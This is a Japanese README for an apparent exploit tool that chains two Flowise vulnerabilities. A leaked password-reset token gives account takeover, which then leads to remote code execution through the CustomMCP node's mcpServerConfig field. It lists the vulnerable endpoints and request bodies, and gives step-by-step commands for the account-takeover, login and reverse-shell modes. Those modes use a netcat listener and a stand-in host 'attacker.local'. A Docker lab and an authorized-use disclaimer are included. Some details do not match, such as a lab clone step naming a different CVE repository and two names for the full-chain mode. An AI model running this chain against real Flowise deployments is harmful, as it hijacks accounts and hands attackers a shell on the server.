
FlowiseAI CVE-2025-58434 および CVE-2025-59528 のエクスプロイト PoC。リセットトークンの漏洩による未認証の ATO、続いて認証済み RCE を実証します。再現可能な Docker ラボ環境を含みます。
⚠️ 教育および許可されたセキュリティ研究のみを目的としています。 このツールを、自分が所有していない、または書面によるテスト許可がないシステムに対して実行することは違法です。
このリポジトリには、2つのFlowise脆弱性を連鎖させるPythonの概念実証コードが含まれています:
Flowiseは、LLMアプリケーションやAIエージェントワークフローを構築するためのドラッグ&ドロッププラットフォームです。CVE-2025-59528はFlowise 3.0.5に影響し、3.0.6で修正されました。この問題は、CustomMCPノード内でのmcpServerConfigの安全でない処理に起因します。CVE-2025-58434はパスワードリセットトークンの露出に関連し、これもFlowise 3.0.6で対処されました。
このツールは以下をサポートします:
脆弱なパスワードリセットフローは、一時的なパスワードリセットトークンを含む機密ユーザーデータをAPIレスポンスで露出します。有効なユーザーのメールアドレスを知る攻撃者は、パスワードリセットを要求し、レスポンスから一時トークンを取得し、それを使用してアカウントの新しいパスワードを設定できます。
この脆弱な動作は、同じAPIサーフェスを公開するFlowiseクラウドおよびセルフホスト/ローカルデプロイメントに影響します。修正方法は、パスワードリセットトークンや機密のアカウントリセットデータをAPIレスポンスで直接返さないことです。
この脆弱性はFlowiseのCustomMCPノードに存在します。mcpServerConfigパラメータはMCPサーバー設定プロセスの一部として解析され、セキュリティ検証なしでJavaScriptコードとして評価されます。これにより、認証された攻撃者が任意のJavaScriptコードを注入でき、FlowiseサーバーのNode.js環境で実行されます。convertToValidJSONString関数では、ユーザー入力がFunctionコンストラクタに渡され、入力が完全なNode.js権限を持つJavaScriptコードとして評価され、child_processなどのモジュールにアクセスしてシステムコマンドを実行できます。
このPoCで使用される脆弱なエンドポイントは次のとおりです:
POST /api/v1/node-load-method/customMCP
JSONボディのmcpServerConfigフィールドにjsペイロードを指定します。例:
{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "..."
}
}
脆弱なコードはCustomMCP.tsファイルにあり、CVEのGitHubメンテナーアドバイザリで参照されています。
攻撃者 Flowise
│ │
│ [CVE-2025-58434] │
│ POST /api/v1/account/forgot-password │
│ { email } │
│─────────────────────────────────────────►│
│◄─────────────────────────────────────────│
│ ユーザーオブジェクト + tempToken │
│ │
│ POST /api/v1/account/reset-password │
│ { email, tempToken, newPassword } │
│─────────────────────────────────────────►│
│◄─────────────────────────────────────────│
│ パスワード変更 │
│ │
│ POST /api/v1/auth/login │
│ { email, newPassword } │
│─────────────────────────────────────────►│
│◄─────────────────────────────────────────│
│ token / refreshToken / connect.sid │
│ │
│ [CVE-2025-59528] │
│ POST /api/v1/node-load-method/customMCP │
│ mcpServerConfig=<細工された設定> │
│─────────────────────────────────────────►│
│ Node.jsでJSが評価される
│ コマンドが実行される
│◄─────────────────────────────────────────│
│ コマンド出力またはペイロードが発火 │
│ │
✓ アカウント乗っ取り + 認証済みRCE
Repository Structure
CVE-2025-58434-CVE-2025-59528/
├── exploit.py
├── README.md
├── requirements.txt
├── docker-compose.yml
└── logs/
git clone https://github.com/0xDaeras/CVE-2025-58434-CVE-2025-59528-POC.git
cd CVE-2025-58434-CVE-2025-59528-POC
pip install -r requirements.txt
git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
cp .env.example .env # 環境変数を設定
docker-compose up -d
引数なしで実行すると、ツールは完全な攻撃チェーンを実行し、ターゲットの脆弱性を確認し、指定されたメールアドレスのアカウント乗っ取りを実行し、ログインしてクッキーを取得し、リバースシェルペイロードでRCE脆弱性を悪用します。フルチェーンモードでツールを実行する前に、専用のリスナー(例:nc -lvnp 9889)を実行してください。
python3 exploit.py --target http://localhost:3000 --email [email protected] --lhost attacker.local --lport 9889
python3 exploit.py -h
ターゲットがCVE-2025-58434およびCVE-2025-59528に対して脆弱かどうかを判断するバージョンチェックを実行します。ターゲットのAPIにリクエストを送信し、レスポンスを分析してFlowiseのバージョンと脆弱性ステータスを特定します。
python3 exploit.py --target http://localhost:3000 check
CVE-2025-58434のアカウント乗っ取りプロセスを実行します。指定されたメールアドレスに対してパスワードリセットリクエストを送信し、レスポンスから一時トークンを取得し、そのトークンを使用してアカウントの新しいパスワード(デフォルト: "Password123!")を設定します。
python3 exploit.py --target http://localhost:3000 --email [email protected] ato-mode
指定されたメールアドレスとパスワード(デフォルト: "Password123!")を使用してターゲットにログインします。成功すると、認証クッキー(例:connect.sid)を取得して表示し、認証済みリクエストに使用します。
python3 exploit.py --target http://localhost:3000 --email [email protected] --password Password123! login-mode
RCE脆弱性(CVE-2025-59528)を悪用するため、細工されたmcpServerConfigペイロードを脆弱なエンドポイントに送信します。ペイロードは、指定されたLHOSTおよびLPORTで攻撃者のマシンに接続を返すリバースシェルコマンドを実行するように設計されています。トークンが指定されていない場合は、自動的にログインを試みて有効なトークンを取得します。LHOST/LPORTが指定されていない場合は、デフォルトでレスポンスに出力を返す単純なidコマンドペイロードを使用します。フルチェーンモードでツールを実行する前に、専用のリスナー(例:nc -lvnp 9889)を実行してください。
python3 exploit.py --target http://localhost:3000 --email [email protected] --password Password123! --lhost attacker.local --lport 9889 rce-mode
デフォルトモード。 攻撃チェーン全体を順次実行します:脆弱性の確認、アカウント乗っ取りの実行、ログインしてクッキーを取得、リバースシェルペイロードでRCE脆弱性を悪用します。フルチェーンモードでツールを実行する前に、専用のリスナー(例:nc -lvnp 9889)を実行してください。
python3 exploit.py --target http://localhost:3000 --email [email protected] --lhost attacker.local --lport 9889 full-chain-mode
| フラグ | 説明 | 例 |
|---|---|---|
-t, --target | ターゲットのベースURL | -t http://localhost:3000 |
-e, --email | ターゲットアカウントのメール | -e [email protected] |
--password | ログイン/RCEモード用の既知のパスワード | --password Password123! |
--token | 既存のセッショントークン、ログインをスキップ | --token eyJ... |
--new-password | ATO中に設定するパスワード | --new-password Password123! |
| モード | 説明 |
|---|---|
check | ターゲットが脆弱かどうかを確認 |
ato-mode | アカウント乗っ取りフローのみ実行 |
login-mode | ログインしてセッションクッキーを取得 |
rce-mode | RCEフローのみ実行 |
full-mode | ATO、ログイン、RCEを連鎖 |
| フラグ | 説明 | 例 |
|---|---|---|
-c, --command | 実行するカスタムコマンド | -c 'id' |
--lhost | リバースシェル用のリスナーホスト | --lhost 10.10.14.3 |
--lport | リバースシェル用のリスナーポート | --lport 4444 |